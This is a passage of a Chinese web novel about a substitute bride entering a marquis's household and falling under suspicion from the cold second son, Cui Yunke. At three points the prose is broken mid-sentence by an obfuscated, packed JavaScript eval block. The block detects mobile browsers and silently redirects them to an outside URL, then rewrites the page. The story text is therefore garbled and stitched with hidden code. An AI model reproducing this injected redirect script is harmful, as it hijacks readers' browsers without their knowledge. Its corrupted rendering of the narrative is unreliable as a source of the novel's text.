须得教导好了，才能安心送上儿子的床。 姚黛蝉应下：“是，谢夫人教诲。” 看她柔顺低头，何氏眼神点在她细长十指上。 “都说江南女儿手巧。据闻你母亲苏氏有一手极佳的苏绣技艺，不知你承了几分？” 话音落下，室内那浓郁的百合甜香仿佛都凝滞了一瞬。姚黛蝉垂着的眼睫剧烈颤抖，搭在膝上的十指歘地蜷起。 她却不知，苏氏何时有了手好绣艺？ 绣艺绝佳的分明是她的亲娘陆菱。 苏氏仗着是姚锵成婚前就侍奉在侧的通房，暗中使过许多手段，硬将她娘逼得郁郁而终，害她六岁失恃。被姚锵扶了正后，竟是把她娘的嫁妆捏在手里不止，连这荣光都要窃取。 姚黛蝉感到胃中冰冷的恶心，却强迫自己松开了拳，一派茫然道： “家母并不善绣，家中针线活计，多是托针黹上的妈妈打理。” “不善绣艺？”何氏颇为意外，责备地看向素灵。 又不一样？打这姚惜翎进门，从容貌到性情，竟没有一处和查到的消息对得上。 素灵百口莫辩——苏州府离京千里，她哪里能事事查证清楚？ “不过，”姚黛蝉适时柔声，“家中已故多年的陆夫人确实绣艺绝佳。想是苏州府的人以讹传讹，才叫夫人误会。” 何氏微讶，眼神登时再变。她倒老实，竟主动提起姚家的阴私。 是了，姚家原本是有个正头夫人。何氏虽懒得深究外家琐事，却也品出了里头的弯弯绕绕。 这如今的知府夫人，原也不过是个不上台面的通房而已。 天下主母就没有喜欢妾室的。何氏乜着恭顺的姚黛蝉，心境忽然微妙起来。 这丫头的做派，倒真不像小娘养的，到底是真实诚，还是藏得深？ 无论如何，何氏倒不那么厌屋及乌，“想是底下人搞错了。” 她换个坐姿，有一搭没一搭地问起江南风貌，眼神飘向窗外的日影。话头牵得生硬，显然兴致寥寥。 姚黛蝉答得简短，心下逐渐却雪亮。这位未来婆母压根不想同她说话。 可她偏要忍着不舒服拘着自己，图什么？ 姚黛蝉想起姚家的祖母来。 第一日回府，她听着张妈妈的话，懵懵懂懂去问祖母好。 祖母并不想见她。 雪连片下，她冻得手脸发紫，却见姚惜翎姚惜翰欢脱地从侧门跑出，颈上金圈一闪一闪。 何氏如此，是在避 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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路上崔禄一直与她说话，她又吊着脑筋，并未留意什么香气。 “马车？”却轮到何氏惊讶，她何曾派马车去接应了？ 船只抵达日期都未定，谁有那般闲心照看外人？ 姚黛蝉凝滞，难道崔云柯的堵截毫无侯府授意？ 不妙的预感刹那翻涌，她一时不知如何组织语言，何氏捂鼻，“府中的车从不会熏什么檀香，你莫不是弄错了。” 她万分嫌弃的模样，姚黛蝉环顾四遭，知情识趣道：“我为夫人卷帘透透气。” “天气确也热了些。”何氏正想借此考验一番，自然心安理得受下伺候。姚黛蝉就朝帘栊走去，刚抬手，外头骤然响起丫鬟绷紧的通传： “夫人，二爷来给您请安了！” “什么？！”何氏手一紧，额角突突地疼了起来。 “不是在宫中么，怎么这时来了？素心，素灵！” 姚黛蝉也为她这突然的惊诧一愣，蓦地竖起耳朵。帘后渐近的脚步声清晰可闻，她心头打鼓，还未来得及退开，“哔——” 帘栊被一只骨节分明的手自外侧稳稳打起。 不曾及时收回的指尖猝不及防擦过男子手背。 姚黛蝉愕然瞠目。 崔云柯的动作因这意外的触碰，几不可察一顿。视线自那双飞快收回的柔荑而下，落入一双因惊骇而睁大的眸子里。 帘栊割阴阳，他面容在光影交界处，深邃难辨。 唯独那双沉如寒潭的眼，清晰地映出少女失色的脸。 姚黛蝉指尖不受控地一阵轻颤，不等动作，便被那双锐利的凤眸钉在原地，连呼吸都滞住。 崔云柯却再未看她一眼，举步入内。 他换了身祥云暗纹的素白道袍，外罩件雨过天青色的半袖褡护，额束网巾，腰系宫绦，清贵逼人。行动时，衣袂间逸散的檀香瞬间冲淡了室内甜腻。 “母亲。” 青年面向脸色发青的何氏，拱手，声音是一贯的泠然疏离： “可还安好？” 4. 第 4 章 房中刹那可闻针落。 两种香气无声交锋，崔云柯启唇时，满室只余冷寂的檀香。 安好什么？ 何氏堂而皇之被打了脸，只觉一股寒意自脚底直冲天灵盖。 老侯爷逝世后，这个嫡不嫡庶不庶的次子与她已有三年未见，时光如此偏心，青年比少时出挑甚至。郎艳独绝，如圭如璋…世上所有形容男子的好词似乎全部倾斜在他身上。 更叫人不忿的，是他昔年还清瘦的身型都变得高阔伟岸，几乎追上了她的骄儿！ 还是素灵在旁嗔道：“二爷也真是的，好歹休憩片刻再来问夫人安！夫人方才还念呢，宫里事务繁忙，您一刻不停地转，也不心疼心疼自己的身子！” 何氏才回神，强自牵出个难看的笑： “这是持玉？” 许久未唤过这小字，舌尖都发涩，何氏干巴巴道：“母亲当然都好。三年未见，长得同你大哥一般高了。” 语毕方有了些底气似的挺直腰背，命素灵上茶、素心端软凳，营造出一副体贴和乐的模样，心中却盼着人如以前一样快些走。崔云柯向来是不爱在她这里逗留的，除了已故老侯爷的顷山楼，他在哪里都如此。 何氏觑眼素心端来的矮脚软凳。 这种凳子，要气度的大男人们是不肯坐的，崔云柯自小钟灵毓秀，定然一眼就能看出她真意。 他们这对名义上的母子，打十几年前就没有过敬爱的时候，虚与委蛇实在不必。 哪想，守在外头的崔禄先一步窜进来，在何氏尚未来得及转变的眼神中麻溜扯来一方太师椅，恭请崔云柯坐下。 崔云柯端起茶盏，慢斯条理撇弄浮沫，竟是要长谈的架势。 几人都被这猝不及防的举措弄得一愣，何氏心中惴惴，“持玉…你、你……” 她绞尽脑汁，才状似关切道：“可见过你祖母了？她前几日正念叨你，想见你一面呢。” “来前拜过，祖母康健不减。” 婆母戎马半生，一贯康健，也一贯懒得理她这个儿媳。 崔云柯一来，倒是第一时间敞门欢迎上了。 何氏挤出笑脸，“你是孝顺的。” 青年未答，房中再度鸦雀无声。 何氏被他这副岿然不动的做派一激，彻底明白他是来找茬的了。心头发恨，坐立不安之际，她余光扫过早早退至角落的姚黛蝉，像是突然抓住了救命稻草，卒而笑道： “惜翎，快过来见过你往后的小叔！” 姚黛蝉通身僵直。 她屏住呼吸躲在一隅，就是怕被搅进这对母子暗流涌动的对峙。却被何氏直接点了名，掌心当即掐得险些破皮，再装隐形人也不得了。 众目睽睽，姚黛蝉眼睫低垂，隔一丈距离，遥遥对那片天青色的袍角福身。 “二爷。” 女声悦耳如鹂，却过于轻细。 崔云柯眼帘微抬，目光掠过姚黛蝉，快得几乎让人错认。 “叮。”碗盖稳稳合上，发出一声脆响，像是回应。 夹缝生存的茶气被轻描淡写关了回去，姚黛蝉被迫嗅着那股若隐若现袭来的檀香，总算知道何氏为何那般发问。 想来她坐的马车就是这崔云柯的。 “你久不回家，想也是才知道。”未来儿媳规矩守礼，没让她彻底落下风。何氏悬着的心稍落了些。 崔云柯虽还是那副令人暗怯的架势，但一想到本就该属于骄儿的世子之位，想到身后的镇国公府，何氏便定定神，撑出几分底气，扬声唤姚黛蝉到身边。 “你此前一直在德安忙碌，我与侯爷商议过，想着延后告诉你婚期，免得给你添麻烦。不料撞个正着，也不瞒你了。这是惜翎，苏州姚知府的女儿。江南水土养人，她性子沉静稳妥，同你大哥正相配。正好你要长居府中，以后都是一家人，趁今日有空熟熟脸，彼此守好本分，也好把侯府的香火与体面维系下去。” 这看似亲切的一番话听得姚黛蝉几近窒息。 她本能微缩两肩，徒劳地不想被聚焦。然何氏话头在此，姚黛蝉敏锐地感到那寒漠目光不带任何情绪地将她扫了眼。 崔云柯放下一口未用的茶，终于堪堪张口。 “姚小姐。” 只这平平无奇一句，姚黛蝉头皮发麻，梗着脖颈点了点头。 崔云柯有序地抚弄食指扳指，恍若未觉少女刹那的紧绷，“珩字号大船遇难，姚小姐倒是平安无事。” 他果然在此等着！ 姚黛蝉一听大船两字便不受控地想起张妈妈来，崔云柯是要当众戳穿她逃婚？ 她咽口唾沫，遂又冷静。 何氏约莫还未知她与崔云柯并非第一次见面。不知崔云柯旧事重提是何目的，但他不说码头初遇，只提船上遇难要挟，定存着别的思量。 姚黛蝉得体微笑：“许是上天怜我还没来得及见夫人大爷，便不肯让我折在江里。说来也巧，船上听闻二爷刚剿平德安匪患，想来是我得二爷威名庇佑，连水匪都绕走呢。” 她说话时，下颚线微微绷紧，是竭力维持平稳的弧度。 但话音才落，姚黛蝉便察觉自己恭维得有些刻意和挑衅，她眼风下意识飘向太师椅上的人，却正撞入他自然掀睫时投来的视线。 那目光冷冽漠然，并无焦点，仅仅不过扫过她罢了。与看一棵草，一朵花无异。 然姚黛蝉心口却突地一跳，慌忙避开。 一旁何氏倒听得眉梢微动，很有几分满意。 这丫头竟是个牙尖嘴利的，就是她的侄女何采莲在崔云柯面前也要几番斟酌，不敢失了大家闺秀的体面。 她轻窥崔云柯，青年垂着眸，有序地抚弄玉扳指，仍是那万物不为所动的模样。 想是根本没往心里去。 何氏接过话头：“惜翎实在。持玉你剿匪有功，连圣上都赞你，护个未来嫂嫂也是应当。” “你也老大不小了，你娘日日修道不管事，你却是要着急的。采莲你可记得？她素来仰慕你才学，听闻你回京了，不知得多高兴呢…” 何采莲是何氏娘家侄女，常来往侯府。崔云柯过目不忘，自也记得那个浑身刺鼻粉香的女子。 如从前一般，何氏依旧不死心，妄想插手玉磬院。 崔云柯眼皮一掀，目光透过姚黛蝉落向何氏，无温无绪：“匪患已平，余孽难清。侯府亦需戒备。” “尤其，对来路不明之人。” 姚黛蝉一口气吊在半空。 “都是家里人，哪里又来路不明了。”何氏被他看得心虚，“世道乱是常事，可再乱，又怎么乱到我们这样的人家来。” 她遮掩似的:“你大哥也说是这几日回京，待他归来，你们兄弟二人聚上一聚，正可以聊些外地见闻。” 这话当然是场面话。崔云筏此次南下是去苏扬玩乐，何氏心有不满，却还是帮着儿子遮掩，对外只说他去看望一位旧友。 兄弟俩的关系同陌生人无异，又怎么可能凑到一起去。 此话由崔云柯听来大约亦是可笑的，“许久未见兄长，不知他近来如何。” 何氏不假思索：“一切都好，只等你来吃喜酒了。” 门口崔禄闻声笑道：“这可刚巧，二爷正准备了一份大礼呢。” 何氏看眼笑容格外夸张的崔禄，刚要斥他没规矩，“府衙有事，先行告退。母亲，回见。”却被崔云柯的起身打断。他平平施了礼，素白袍脚荡一片波澜，檀香不容抗拒地穿过偌大主卧，直至青年离去，犹还漾着浅浅余韵。 大佛来得猝不及防，去得也猝不及防。姚黛蝉攥在一块儿的手才缓缓放开，掌心一片湿冷。 何氏被这样直截了当地一知会，倒好似她才是小辈。一时尴尬不已，心里痛骂着孽障。 和他那个娘一模一样，清高个什么劲儿！ 却不能表露，她浑身强撑出来的力气松了个透，靠在榻上扶额，疲惫地朝姚黛蝉挥了挥手。 “你也下去吧。” 姚黛蝉如蒙大赦，屏息敛目，行礼拜别。 踏出主院门槛的刹那，春日午后的阳光晃得人睁不开眼。 廊下的藤萝开得正盛，花穗垂落扫过肩头，携有淡淡的甜香。姚黛蝉刻意放慢脚步，听着远处鸟鸣，刚才在主院的窒息感才渐渐消散。路过一处莲池，锦鲤摆尾游过，自在惬意。 姚黛蝉通身的紧绷骤然卸几成，深吸一口气，沿着记忆里的路回走。 - 玉磬院。 所有东西焕然一新，只是久未沾染人气，还未有浊息飘动。 崔禄伸完懒腰一进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058059|194916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门，就见崔云柯坐在石凳上翻阅文书。 二爷就是这般，崔禄由心佩服。哪怕火烧到跟前了都不为所动，一个心思浅薄的何氏又算什么。 崔禄心中啐了口。这手段，还妄想塞她那侄女进来作乱。 圣上还在安陆潜邸时就笑嗔过，他家爷眼高于顶，天仙都瞧不上。京中贵女如云，这几月暗中递枝欲要结亲的大员数不胜数，就何采莲那不出挑的，也敢肖想？ 她仗着姑侄关系，幼时常来缠人，已经十分讨厌了。竟还贼心不死，几年间几次寄信骚扰，便不掂量掂量自己配不配的？ 崔禄琢磨，若何采莲到，这回决计不能让她踏进玉磬院的门。 又习以为常地打算先沏茶，翻书声突然静止，崔云柯道：“打水来。” 二爷自幼喜洁，凡与人相触必定净手。可今日并未见他碰到什么，怎地又要洗了？ 这疑问也只一瞬，转念崔禄便明白了，二爷是嫌弃何氏那儿的臭气，便立即打了盆温的。 崔云柯提袖，长指浸在水中反复泡洗，如此三次方擦干。 他转转扳指，顺口道：“车里如何。” 崔禄颔首：“已重新擦洗熏过香，那姚惜翎用过的坐垫也扔了。福寿做事，爷只管放心。” “黑靴已送去边陲大营。”崔禄趋近，声线压紧：“爷，船上尸首勘验完毕，只少了一具。” 崔云柯动作一缓。 少的是谁，主仆二人当然心知肚明。 说出去只怕人不信。此番协助白莲教乱党在德安作乱的重要人物，竟是永靖侯府嫡长子，何氏眼中的第一等好儿子，也是如今的反贼，前太子李熹之暗党——崔云筏。 突袭商船的铁钩蒙面人正属白莲教头目南舵主麾下。照理说，崔云筏与他算是同僚，一个在京城为前太子传递消息，一个在南方为前太子巩固民心，却在入京的路上内讧相残，让崔云柯的人捡了渔翁之利。 江流湍急，崔云筏腹背受敌，纵是生还也难返京畿。兼之船上许有其他乱党的线索遗漏，这也是崔云柯为何临时决定蹲守码头。 船上却仅剩一只黑靴。这场截杀中唯一完好无损的局中人，只姚锵的女儿姚惜翎，和她半死的老妈子。 “姚锵那儿，苏州府库的官银流入乱党手中非止一次。纵非主谋，失察之罪也够他万劫不复。” 桌上暗探呈上的密报，几笔银钱流向的朱批格外刺眼。 这就是此事的诡吊之处。 此等滔天大罪，他竟还敢送女入侯府，是当真不知己罪，还是侥幸赌一把。 又或，他早与崔云筏暗通曲款，嫁女正是为了方便二人勾结？ 然前太子已死，隆景帝即位，大局已定，姚锵怎么可能为区区残党赌上全家性命？ 崔禄对此实在不解：“若姚锵与旧党勾连属实，他这般岂不是将把柄往人手中推。” 崔云柯未语，只将目光从文书上抬起一线。 这是让人继续的意思，崔禄忙道：“那老妈子受刑后吐了个干净，连给姚家前任夫人下药的事都招了，却对白莲教一无所知。看反应，不像装的。” “贴身仆役不知情，”崔禄声音更低，“要么主子当真清白，要么…主子所谋之事，连心腹也必须瞒过。” 那姚惜翎先遇难，后直面二爷，俱格外稳得住，不是寻常闺秀。指不定就知道内情！ 且侯府去接她的船，怎就那么巧被崔云筏半途登上？ “难道是姚锵那老狐狸暗中泄露消息，引崔云筏与南舵主自相残杀？他好一石二鸟，既除了隐患，又向朝廷表了忠心——” 思及此处，崔禄竟是一惊。 好狠辣的手段！ 却听崔云柯淡然启唇，两字推翻他猜测： “并非。” “前车之鉴余威尚存，他素来求稳，不敢冒行。” 崔禄一顿，确实。姚家祖上受太和之乱波及放逐出京，好不容易花费几十年经营到苏州知府的位子，不当顶着一家人头去搏命。 然崔云柯又斟一盏茶，指尖停杯沿半息，蓦而擦过手背，仿佛要将不存在的脏污抹去。 “‘姚惜翎’。”他平静如斯，却让崔禄本能屏息。 “名是伪。” “人，”杯身极轻地一转，“亦伪。” 5. 第 5 章 碧清茶水一漾，绿叶游曳间，恍惚又见主院中那竭力镇定的少女，通身绷紧，十分惮他。 崔云柯眉头微皱，手背上若还残留着帘下一触的不适。 “她是假的？！”崔禄愕然拔高声量。 他指腹再一揉，目光凝于某处，一派静邃无波，俨然早已洞悉一切。 “姚锵宠女，苏州尽知。” 言简意赅八字，崔禄当即敛了讶色，迅速在脑中追查所有细节。 除了老妈子…还有，四个黄花梨木箱。 箱笼里尽是些笨重价昂，不易变现的吴绫瓷器。绣帕、银梳、香包等女儿家的贴身物什一样都无。那姚锵若真是嫁心头肉入高门，陪嫁岂会如此生硬？哪怕是要分船运送，也不该将不方便的物件全堆放在女儿那头。这不像疼宠，倒像急着打发一个无关紧要的玩意儿。 再一想，先前暗探所传消息，姚惜翎娇纵无礼，中人之姿，又哪里同眼前这清艳绝尘、进退有度的少女对得上？ 审那老妈子时，她一口咬定小姐死于船难，崔禄不以为意，如今一想，老妈子分明是怕替嫁之事败露，干脆将人说成死的！ 这些破绽姚锵未必不曾顾虑过，但毕竟路途遥远长臂难辖，他便赌一把。如此守了婚约，待东窗事发，还可借‘替嫁’摘清自身，佯作不愿同流合污。 崔禄豁然开朗，他只顾着查证箱子里是否有证据，却未注意这些细节。还是二爷火眼金睛，一眼看出端倪！ “好个姚锵！难怪侯府一提他便送得这般爽快！” 崔禄语气旋即冷下去：“爷，姚锵包藏祸心，此女又当如何处置？” 既不是乱党，也不是姚惜翎。她冒用他人路引逃窜，想也是害怕暴露，引来杀身之祸。 崔禄的意思明确，此女身份模糊，来路存疑，既是意外，还是及早处置干净为宜。 崔云柯抚扳指的动作略作停顿，仅沉吟半息。 “是饵是证。姚锵通太子党之事还未查明，先留着，待日后一网打尽。” “若必要，可放宽泛些，任其在府内行动。” 当今圣上即位才三月，又是藩王出身，尚在斗朝臣培植班底的路上。苏州税银握在姚锵手里十余年，直接出手定要叫江南士绅们警醒，莫若钝刀割肉，暗暗图之为先。 而这个西贝货到底是谁，无关紧要。嫁给谁，更无足轻重。 与崔云筏一样，最终不过黄土一抔，不值得费心神。 崔禄了然话中深意，眼下最紧要的是继续清扫朝野，闲时等那份大礼浮出水面。 事情到此便全都分明了。 却没下去吩咐，崔禄杵在案前不动，还小心瞄崔云柯几眼。 崔云柯:“何事。” 崔禄斟酌：“好不容易回了京，二爷可要去青云观看看夫人…” 薛夫人因父亲获罪之故，被如今的侯爷崔朔以平妻身份娶入府中，身份本就特殊，一直受京畿瞩目。即便后来薛大儒平反，她这位子也不上不下卡着，一直为何氏嫉恨。许是厌烦背后嚼舌根的，十二年前薛夫人自请入道门清修，一去不归。 崔云柯少时去观中看望生母，不分严寒酷暑，常在门前一站便是一日。然母子天性淡漠同出一辙，十二年间见面次数竟不足十。渐渐便不去了。 崔禄自小看到大，心底实在难受。 提及三年未见的生母，崔云柯面上却依旧不见分毫波澜。他一径眄着手中凉了的茶水，默了片刻，不紧不慢抬手。 沉底的嫩叶带着那点无端的联想一起，被泼洒个干净。 “外祖寿辰将至，那时顺路一见，方便许多。”男声久违响起，还是那般凉薄无谓。 崔禄低叹，遂又正色：“张大人请爷至邀月楼听曲儿，算算快到时候了。” 真真是连轴转，丁点歇息的时候都没有。听到这些宴会崔禄就想挠头，可一见主子四平八稳，面上丁点疲态不显，他就是再乏也得咽下去。 京中虎狼环伺，暗中盯视这位隆景帝的臣子实在太多。 文臣都以为他藩王出身，如上一位般不擅治国理政，才将他推了上去。熟知这位却是个扮猪吃虎的，一即位就和崔云柯这个少詹事一唱一和，蹬了好几个大员。 崔云柯与新帝如此动作，东阁大学士张和廷，这有名的笑面虎着实耐不住了，代身后人一探他深浅。 私人宴会，倒不用多么精心打扮。崔云柯只换了件霁蓝薄纱褡护便出了门。 院前竹声窸窣，堆放几块正待为玉磬院增色太湖石。 见崔云柯往几块大石看，崔禄笑道：“爷看看福寿买的这几块石品相如何？” 崔禄这话也只是打趣儿。说是文人墨客最好的太湖石，可到底就是石头罢了，又能玩出多少花样。 崔云柯平平收回视线，却问了另一则：“人安置在何处。” 他语气太过冷淡，确确实实就是信口问话。 崔禄犹豫须臾，确定这是在问那位假冒的姚小姐，认真回忆道：“…礼香苑？” “侯府扩建前的旧院子，前一任主人是老侯爷一位庶母。” 礼香苑无主近三十年，位置偏僻，寻常仆役都不愿走那儿去。崔禄想不起来实在不奇怪。 崔云柯不与置词，继续款步前行。 摇动的竹海后，好会儿飘出褶子裙的一角。看人走了，姚黛蝉紧咬的唇才松开，站在卵石小径上端详几块眼熟的石头。 有竹林遮挡，这角度应当看不见她，又看得见。 她无法笃定。 可刚刚那一眼…姚黛蝉心有余悸吐气，总觉得崔云柯是发现了什么。 她也不是故意躲在这里的。 府里的路她只认得两条。一条去礼香苑，一条从礼香苑去主院。 藤萝开得太好，她走着走着竟不慎转到佛堂去了，实在没法，才小心翼翼从来路折返。偏巧，没走过玉磬院就撞见崔云柯。 不知是怎样的孽缘。 姚黛蝉这回一眼都不曾额外打量，逃也似的跑回去了。 礼香苑脆响频频，芬儿在踢毽子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058060|194916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 听她快步走近，芬儿丢了毽子跟人进门，“娘子这就回了？今日怎么样啦？” 姚黛蝉笑笑，“都好，夫人和善体贴。芬儿，能否帮我打水？” 不曾如愿听到主院发生的事，芬儿只好遗憾地应了，“娘子等等。” 房中已有主院送来的新衣物，姚黛蝉洗够了出来，将将好换上。一直到入夜，主院都不曾再召见。 芬儿等不到她主动张口，便兀自踢了会毽子，才凑过来坐在姚黛蝉身边：“娘子你看，这月真亮！” 姚黛蝉顺着她手指望去，清辉皎皎，“是亮。” “灯都不用点！”芬儿嬉笑，“我和您说啊，等夏天到了，礼香苑里冰鉴都用不上，可舒服了！” 院中的草木沙沙作响，芬儿絮絮叨叨说着府里趣事，哪个丫鬟踩坏了嬷嬷的花，哪个姐姐擦的粉太香引来蜜蜂…姚黛蝉偶尔应一声，紧绷了一日的神经，终于在这细碎的闲聊中彻底松弛下来。 直至芬儿打着哈欠离开，姚黛蝉还在竹椅上，一点睡意都无。她两手托脸望月。 月是故乡明。 她眼中慢慢浸出水色，四年又两个月了。 外祖年事已高，舅舅也应当老了不少。表哥如今的课业怎么样，还会被教书先生打手板吗？ …江游，可还安好？ 她无意识地摸了摸空荡荡的手腕，无奈短吁。 她已经不那么记得江游的模样了。 他走得太仓促，除却一条卵石手串什么都没有留下。而她亦走得突然，连那卵石手串也没能带走。 姚黛蝉不是爱顾影自怜的人，夜风一刮，将她眸中最后一点湿濡吹干，留下满目深重。 今日主院一碰，她对侯府这几位大人物的关系已然有底。 何氏几乎句句都在提点崔云柯身份，让他尊敬兄长，莫要觊觎世子之位，对崔云柯千防万防。大户人家无非就是这般。 恰巧她在，便成了这对母子较劲的绳。 姚黛蝉几可断定，崔云柯今遭只敲打她，却故意不揭穿，是想拿她这自己送上门的把柄，对何氏与崔云筏开刀。毕竟，仅一个冒用他人路引的罪名就能将她钉死。 …该先行一步，主动向何氏坦白吗？ 不，姚黛蝉很快否决了这个念头。 以何氏的性子定会大发雷霆，把她下狱都不为过。 那就只有崔云柯了。 没想到再见会是这般场面。一思及那城府极深的男子，她指尖倏而攥紧，陌生的触感犹还抵在上头，那双毫无波澜的眼眸一翕一合，好似看透一切，令人深感不适。 他捏着她的命门，吃定了她无路可逃，是而不急着发作。等崔云筏回来，许就要真正出手夺世子之位。 一个早死，一个晚死。 姚黛蝉深呼吸，她不能被动了。 她要站到他面前，告诉他，她只是一只无意闯入的飞虫。 什么匪贼之乱、世子之争，统统与她无关。 这样，总能放她条生路吧？ 6. 第 6 章 许是因为下定了决心，姚黛蝉睡了这月来的第一个踏实觉。 然翌日清早，还不待她先动作，教养嬷嬷早早便闯入了礼香苑。 姚黛蝉被一阵刻薄不掩的骂声惊醒，匆匆穿衣开门，正见院中央低头抹泪的芬儿，旁头一个银发参半的长袄老妈妈还掐着腰叱骂： “你个滑头东西！没你娘半分老实，倒学了你老子的钻营！一早上不做活，学揽芳阁的妖精扑粉描唇，毛都没长齐就敢起不该有的心思！我可告诉你，不许同那些不正经的混！否则我说与你娘去，叫你再美！” 芬儿被骂得无地自容，小声嚎道： “青翡嬷嬷怎么能这样说我！府里的姐姐都打扮起来了，还不兴我也跟跟风？我又不是买来的丫鬟那般不知天高地厚！我心里有数，何况，何况二爷那样的谪仙，怎会瞧得上我这小丫头！”小丫鬟哭得脸上香粉斑驳，犹还死死抓着脂粉盒不肯放，委屈地恨不能坐在地上。 姚黛蝉听到这里，弄明白了来去。 崔云柯回府一事表面上平静，私底下却炸了锅。即便都知道二爷性子格外冷，侯府里的丫鬟不少还是起了心思，争相打扮着想谋个好前程。 芬儿才十一二岁，正是开始爱俏的年纪，见大家都美也不肯落下，寻了相好的姐姐帮忙妆点，被青翡嬷嬷逮个正着。 姚黛蝉心情复杂，她倒没想到这茬。 初见侯府，所到之处无不规矩肃整，她以为勋贵毕竟是勋贵，御下更严厉。不想还是只看到了表面，忘了人心都是一样的。 青翡嬷嬷又不客气地训了几句，才好若刚看见卧房门口站着的姚黛蝉，皮笑肉不笑问了声安。 “姚娘子，老妈子奉了夫人的命教导娘子礼仪举止，娘子可要用心，莫辜负了夫人好意。” “是惜翎应该的。”心知这是借骂芬儿给的下马威，姚黛蝉谦卑地受下了，“麻烦嬷嬷赐教。” 世上的老妈妈约莫也是同一个模子里刻出来的，青翡嬷嬷那老辣做派一摆，姚黛蝉立时想起张妈妈来。 也不知，她到底如何了。 “成。”青翡嬷嬷袖中抽出根竹板，语气放缓了些：“娘子初来乍到，京中贵女的步子礼数都与苏州不同，用过朝饭便跟着我学，莫要怕，只是教规矩，不是罚你。” 姚黛蝉心底哀叹，面上温驯如初：“是。” 这一学，足足到了晌午。 看她一双腿颤颤巍巍打摆，青翡嬷嬷还算满意地结束授课，留下姚黛蝉扶着石桌喘气。 京中贵女的步子讲究“静、稳”，青翡嬷嬷不许她走路时踢高裙面，腿上结结实实挨了好几下，此刻还火辣辣的。 芬儿顶着才消肿的眼，扁嘴帮她抹红花油： “青翡嬷嬷是夫人娘家来的，一直狂得很，见人就要逞威风，没事，等大爷回来就不怕了！” “……” 姚黛蝉干笑，还是不回来的好。 午后去主院问安，姚黛蝉抄了昨日没走成的小道走。何氏收到了驻守边疆大营的侯爷的信，上面道他会提早归来，也不曾提及薛氏，她心情上佳，人也抖擞，就想起上回没问完的话来，“你那日乘的确是侯府马车？” “是，挂着侯府牌子。” 晌午问话马夫，也是这般说的。看来那檀香只是搞错了，毕竟崔云柯的车也和侯府的置在一处。 何氏将此事揭过，仔细打量姚黛蝉，暗示她才进府，别不识身份地兴风作浪，又顺带骂揽芳阁。 姚黛蝉一一应下，何氏又满意地说起大儿来，道他如何孝顺，如何适合撑起侯府。末了，还不忘提一嘴自己马上来侯府做客的侄女，嘱咐姚黛蝉跟着学些贵女举止，不要丢脸。 她继续兀自和素心素灵商讨给侯爷的接风宴，只瞟了眼姚黛蝉别扭的走姿，让她站了半个时辰就送客。 姚黛蝉回院刚坐下想歇，门庭前香气混杂，伴着笑声撞进来几个衣着鲜亮的美人。 说曹操曹操到。姚黛蝉只看她们的做派，就猜出这应当是何氏口中的揽芳阁妖精了。 果然，打头的红衣妖精一见她，面色一变： “这便是苏州来的姚娘子？” 一干人或紧张或敌意的直视中，姚黛蝉微笑颔首。 “是揽芳阁的姐妹们?” 她这一主动示好，颇有些剑拔弩张的氛围明显软化。远远见芬儿踮着脚尖回来，姚黛蝉便抬手唤她待客。 “我虽是才来的，却都要一起伺候大爷的。也不同各位姐妹们见外。”她一番主母架势，亲切包容地众人措手不及。 就是从昨儿晌午别扭到现在的抱夏也一时忘了目的，稀里糊涂坐下。 好一会，听月柔云翘和姚黛蝉心照不宣地聊起了不相干的天气，抱夏才反应过来，这未来大夫人居然这般和煦，能忍得下夫婿身边美姬环绕？ 这些年，大爷的行情如何她们都看在眼里。就是有人家答应了结亲，不出一月也定要反悔。娶不到亲于侯府大爷是不好，于揽芳阁的姑娘却是顶大的好事。 天底下有几个正妻不恨妾室的？何况侯夫人一直讨厌揽芳阁得紧，动不动就打罚。这回好不容易选了个媳妇，可不是存着死里磋磨她们的念头？ 且这未来大夫人竟生就一副芙蓉貌……抱夏小脸阴着，委实不信这姚娘子是那等万事不计的善人。 姚黛蝉一直暗暗注意抱夏，见她越发不虞，心知到了时候，笑容蓦而变得感激： “…其实，我倒从不曾想过自己能有这等造化。在家就听闻过大爷二爷的威名，却实在遥远。大爷勇武，二爷才绝，一文一武，便如侯夫人说的，兄弟二人携手维系侯府，大家的日子何愁不好？” 她话音才落，众人都一顿，抱夏更是差点冷笑出声。 姚黛蝉怔，似是不解她们为何突然噤声：“姐妹们这是……” 无人应话，唯有抱夏自觉有了发挥的余地，语气讥诮，“娘子可不知——” “抱夏！” 云翘给了犹不服气的抱夏一个眼神，对姚黛蝉道：“她年纪小不懂事，惯爱胡说。” 姚黛蝉笑容微滞，云翘这一拦未免太及时。 “不过，”云翘又接着道，“大爷二爷…常年不在一块儿，情分倒不如娘子以为的那样紧密。这些东西，细的我们女眷懂得不多，也不好言说，传出去只怕侯府被嚼舌根，惹来夫人打罚。” 姚黛蝉心下雪亮。这岂止是不紧密，云翘遮遮掩掩，抱夏满脸讥嘲，分明坐实了两人有难以启齿的旧怨。 这就够了。 